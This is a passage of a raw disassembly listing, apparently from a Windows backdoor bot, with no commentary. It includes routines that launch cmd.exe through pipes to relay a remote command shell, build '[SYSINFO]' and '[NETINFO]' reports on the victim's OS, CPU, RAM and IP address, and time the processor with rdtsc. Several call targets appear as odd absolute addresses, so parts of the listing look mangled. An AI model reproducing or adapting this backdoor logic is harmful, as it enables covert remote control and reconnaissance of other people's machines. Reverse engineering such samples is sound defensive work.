		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		test	eax, eax
		jg	short loc_40B413
		call	sub_40B328


loc_40B413:				; CODE XREF: sub_40B390+7Cj
		xor	eax, eax
		leave
		retn
sub_40B390	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B417	proc near		; DATA XREF: sub_40B56C+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43B0F0


loc_40B42F:				; CODE XREF: sub_40B417+79j
					; sub_40B417+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43B0E4
		call	near ptr 27A0450h
		nop
		test	eax, eax
		jz	loc_40B4FD
		cmp	[ebp+var_4], edi
		jnz	short loc_40B492
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43B0E0
		nop
		call	near ptr 27A0000h
		test	eax, eax
		jz	short loc_40B488
		cmp	[ebp+var_8], 103h
		jnz	loc_40B521


loc_40B488:				; CODE XREF: sub_40B417+62j
		push	0Ah
		nop
		call	near ptr 2630F90h
		jmp	short loc_40B42F
; ---------------------------------------------------------------------------


loc_40B492:				; CODE XREF: sub_40B417+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40B4A9


loc_40B499:				; CODE XREF: sub_40B417+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40B4F7
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40B499


loc_40B4A9:				; CODE XREF: sub_40B417+80j
		mov	[ebp+var_4], esi


loc_40B4AC:				; CODE XREF: sub_40B417+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43B0E4
		nop
		call	near ptr 26510A0h
		test	eax, eax
		jz	short loc_40B549
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43B124
		call	sub_40B390
		add	esp, 0Ch
		jmp	loc_40B42F
; ---------------------------------------------------------------------------


loc_40B4F7:				; CODE XREF: sub_40B417+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40B4AC
; ---------------------------------------------------------------------------


loc_40B4FD:				; CODE XREF: sub_40B417+45j
		push	offset dword_42DC0C
		push	ebx
		push	dword_43B124
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	1
		nop
		call	near ptr 26302E2h


loc_40B521:				; CODE XREF: sub_40B417+6Bj
		call	sub_40B328
		push	offset dword_42DBD4
		push	ebx
		push	dword_43B124
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26302E2h


loc_40B549:				; CODE XREF: sub_40B417+C3j
		push	offset dword_42DB94
		push	ebx
		push	dword_43B124
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26302E2h
sub_40B417	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B56C	proc near		; CODE XREF: sub_40C351+99p
					; sub_40EE72+5774p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40B328
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43AE54
		test	eax, eax
		jz	loc_40B666
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_424140
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_40B666
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_40B666
		mov	edi, dword_42413C
		push	3
		push	esi
		push	esi
		push	offset dword_43B0E8
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 27A0802h
		test	eax, eax
		jz	short loc_40B666
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_436EDC
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2780B1Eh
		test	eax, eax
		jnz	short loc_40B66E


loc_40B666:				; CODE XREF: sub_40B56C+2Fj
					; sub_40B56C+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40B71C
; ---------------------------------------------------------------------------


loc_40B66E:				; CODE XREF: sub_40B56C+F8j
		push	[ebp+var_4]
		mov	edi, dword_424078
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43B0E4, eax
		mov	eax, [ebp+var_8]
		mov	dword_43B0EC, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43B0E0, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43B124, eax
		jz	short loc_40B6A8
		push	[ebp+arg_4]
		jmp	short loc_40B6A9
; ---------------------------------------------------------------------------


loc_40B6A8:				; CODE XREF: sub_40B56C+135j
		push	ebx


loc_40B6A9:				; CODE XREF: sub_40B56C+13Aj
		push	offset dword_43B0F0
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42DC90
		call	sub_416D5C
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_4407F8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40B417
		push	esi
		push	esi
		nop
		call	near ptr 26A0C0Ah
		cmp	eax, esi
		mov	dword_440804[edi], eax
		jnz	short loc_40B71A
		nop
		call	near ptr 2670ADCh
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42DC4C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_40B71A:				; CODE XREF: sub_40B56C+185j
		xor	eax, eax


loc_40B71C:				; CODE XREF: sub_40B56C+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B56C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B721	proc near		; CODE XREF: sub_407110+74p
					; sub_40B8D8+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 26308B3h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43B12C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B78A	proc near		; CODE XREF: sub_409037+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	near ptr 27B1523h
		nop
		test	eax, eax
		jz	short loc_40B81D
		cmp	[ebp+var_90], 4
		jnz	short loc_40B7F3
		cmp	[ebp+var_8C], esi
		jnz	short loc_40B7DB
		cmp	[ebp+var_84], 1
		jnz	short loc_40B7CE
		push	1
		pop	esi


loc_40B7CE:				; CODE XREF: sub_40B78A+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_40B81D
		push	1
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B7DB:				; CODE XREF: sub_40B78A+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40B7E8


loc_40B7E4:				; CODE XREF: sub_40B78A+78j
		push	2
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B7E8:				; CODE XREF: sub_40B78A+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40B81D
		jmp	short loc_40B80D
; ---------------------------------------------------------------------------


loc_40B7F3:				; CODE XREF: sub_40B78A+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_40B81D
		cmp	[ebp+var_8C], esi
		jz	short loc_40B7E4
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B811


loc_40B80D:				; CODE XREF: sub_40B78A+67j
		push	3
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B811:				; CODE XREF: sub_40B78A+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_40B81D
		push	7


loc_40B81C:				; CODE XREF: sub_40B78A+4Fj
					; sub_40B78A+5Cj ...
		pop	esi


loc_40B81D:				; CODE XREF: sub_40B78A+25j
					; sub_40B78A+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40B78A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B822	proc near		; CODE XREF: sub_40B8D8+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_40B82A:				; CODE XREF: sub_40B822+2Fj
					; sub_40B822+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2630F90h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_419250
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40B82A
		jb	short loc_40B859
		cmp	ebx, esi
		ja	short loc_40B82A


loc_40B859:				; CODE XREF: sub_40B822+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4191D0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40B8CC
		jb	short loc_40B878
		cmp	esi, 50h
		jnb	short loc_40B87D


loc_40B878:				; CODE XREF: sub_40B822+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_40B87D:				; CODE XREF: sub_40B822+54j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B888
		cmp	esi, 47h
		jnb	short loc_40B88D


loc_40B888:				; CODE XREF: sub_40B822+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_40B88D:				; CODE XREF: sub_40B822+64j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B898
		cmp	esi, 37h
		jnb	short loc_40B89D


loc_40B898:				; CODE XREF: sub_40B822+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_40B89D:				; CODE XREF: sub_40B822+74j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8A8
		cmp	esi, 26h
		jnb	short loc_40B8AD


loc_40B8A8:				; CODE XREF: sub_40B822+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_40B8AD:				; CODE XREF: sub_40B822+84j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8B8
		cmp	esi, 1Eh
		jnb	short loc_40B8BD


loc_40B8B8:				; CODE XREF: sub_40B822+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_40B8BD:				; CODE XREF: sub_40B822+94j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8C8
		cmp	esi, 0Ah
		jnb	short loc_40B8CC


loc_40B8C8:				; CODE XREF: sub_40B822+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40B8CC:				; CODE XREF: sub_40B822+4Dj
					; sub_40B822+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B822	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8D8	proc near		; CODE XREF: sub_40EE72+59EEp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_436EDC
		mov	[ebp+var_CC], 94h
		call	near ptr 27B1523h
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40B95F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B93B
		cmp	[ebp+var_BC], 1
		jnz	short loc_40B925
		mov	[ebp+var_4], offset a95	; "95"


loc_40B925:				; CODE XREF: sub_40B8D8+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40B9DA
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40B9AB
; ---------------------------------------------------------------------------


loc_40B93B:				; CODE XREF: sub_40B8D8+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40B94D
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B94D:				; CODE XREF: sub_40B8D8+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40B99B
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B95F:				; CODE XREF: sub_40B8D8+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40B99B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B979
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B979:				; CODE XREF: sub_40B8D8+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40B98B
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B98B:				; CODE XREF: sub_40B8D8+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40B9A2


loc_40B99B:				; CODE XREF: sub_40B8D8+7Cj
					; sub_40B8D8+8Ej
		mov	[ebp+var_4], offset dword_42DDDC


loc_40B9A2:				; CODE XREF: sub_40B8D8+73j
					; sub_40B8D8+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40B9DA


loc_40B9AB:				; CODE XREF: sub_40B8D8+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40B9DA
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42DDD4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40B9DA:				; CODE XREF: sub_40B8D8+54j
					; sub_40B8D8+D1j ...
		mov	ax, word_42DDD0
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43AC84
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40BA13
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_40BA13:				; CODE XREF: sub_40B8D8+12Cj
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43AD50
		cmp	eax, ebx
		jz	short loc_40BA3C
		push	dword ptr [eax]
		jmp	short loc_40BA41
; ---------------------------------------------------------------------------


loc_40BA3C:				; CODE XREF: sub_40B8D8+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40BA41:				; CODE XREF: sub_40B8D8+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2640000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 2690000h
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 27C0000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4192B8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40B721
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40B822
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B8D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB8C	proc near		; CODE XREF: sub_40EE72+4555p
					; sub_40EE72+5A1Fp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	dword_43AE80, 0
		jnz	short loc_40BBF8
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43AC68
		test	eax, eax
		jnz	short loc_40BBE1
		lea	eax, [ebp+var_8C]
		push	offset dword_42DE50
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40BBE1:				; CODE XREF: sub_40BB8C+40j
		test	[ebp+var_C], 1
		jz	short loc_40BBEE
		push	offset dword_42DE48
		jmp	short loc_40BBF3
; ---------------------------------------------------------------------------


loc_40BBEE:				; CODE XREF: sub_40BB8C+59j
		push	offset off_42DE44


loc_40BBF3:				; CODE XREF: sub_40BB8C+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_40BC10
; ---------------------------------------------------------------------------


loc_40BBF8:				; CODE XREF: sub_40BB8C+28j
		mov	esi, offset off_42DE40
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_40BC10:				; CODE XREF: sub_40BB8C+6Aj
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40BB8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC4B	proc near		; DATA XREF: sub_40EE72+4974o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42DF80
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_417330
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_417330
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43ACA0
		test	eax, eax
		jz	loc_40BDE5
		cmp	[ebp+var_34], ebx
		jbe	short loc_40BD22
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD22:				; CODE XREF: sub_40BC4B+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40BD40
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD40:				; CODE XREF: sub_40BC4B+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40BD5A
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD5A:				; CODE XREF: sub_40BC4B+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40BD74
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD74:				; CODE XREF: sub_40BC4B+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43AD48
		call	dword_43AD6C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40BDFD
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43AD60
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40BE04
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43AD14
		test	eax, eax
		jz	short loc_40BDDE
		push	offset dword_42DF54
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BDDE:				; CODE XREF: sub_40BC4B+18Aj
		push	offset unk_42DF08
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BDE5:				; CODE XREF: sub_40BC4B+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42DEDC
		push	eax
		call	sub_4172B0
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40BE17
; ---------------------------------------------------------------------------


loc_40BDFD:				; CODE XREF: sub_40BC4B+153j
		push	offset unk_42DEA0
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BE04:				; CODE XREF: sub_40BC4B+17Bj
		push	offset unk_42DE60


loc_40BE09:				; CODE XREF: sub_40BC4B+191j
					; sub_40BC4B+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40BE17:				; CODE XREF: sub_40BC4B+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40BE42
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_40D679
		add	esp, 14h


loc_40BE42:				; CODE XREF: sub_40BC4B+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	esi
		call	dword_43ADCC
		push	[ebp+var_4]
		call	dword_43ADCC
		push	[ebp+var_1D8]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h
		pop	edi
		pop	esi
		pop	ebx
sub_40BC4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE75	proc near		; CODE XREF: sub_40EE72+448Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
